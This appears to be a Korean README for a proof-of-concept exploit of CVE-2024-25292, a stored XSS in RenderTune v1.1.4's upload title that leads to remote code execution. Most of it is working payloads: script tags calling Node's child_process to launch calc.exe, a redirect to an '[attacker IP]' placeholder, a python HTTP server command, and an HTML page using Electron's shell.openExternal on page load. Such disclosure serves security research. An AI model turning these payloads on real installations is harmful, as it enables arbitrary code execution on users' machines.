
RenderTune v1.1.4 익스플로잇 - XSS to RCE
CVE-2024-25292 취약점에 대한 개념 증명(PoC)입니다.
RenderTune v1.1.4의 XSS(교차 사이트 스크립팅) 취약점으로 인해 공격자가 Upload Title 매개변수에 조작된 페이로드를 주입하여 임의의 웹 스크립트나 HTML을 실행할 수 있습니다.
이 저장소에는 취약한 애플리케이션 예제와 이에 대한 개념 증명(PoC) 익스플로잇이 포함되어 있습니다.
XSS를 통해 RCE를 가능하게 하는 취약점입니다. 제목에 XSS가 가능한 부분이 있어, XSS 구문을 통해 NodeJS 구문으로 RCE를 가능하게 하는 취약점입니다.
1단계) 제목 부분에 XSS가 발생하는지 확인 ※ 이때 이미지가 첨부되지 않으면 Upload 항목이 등록되지 않습니다.
<b>jruru</b>

2단계) 따라서 XSS를 사용하여 NodeJS 시스템 명령을 실행하도록 구성합니다.
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

※ window.location을 사용하여 공격을 시도하면 앱을 실행할 때마다 설정한 페이지로 자동 이동합니다.
<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>
참고: ※ 빠르게 테스트하려면 공격자 PC에서 다음 코드로 서버를 생성하세요.
$ python -m http.server 80
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<!-- Run scripts using on-click properties directly to the tag -->
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// Run script automatically when loading pages
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
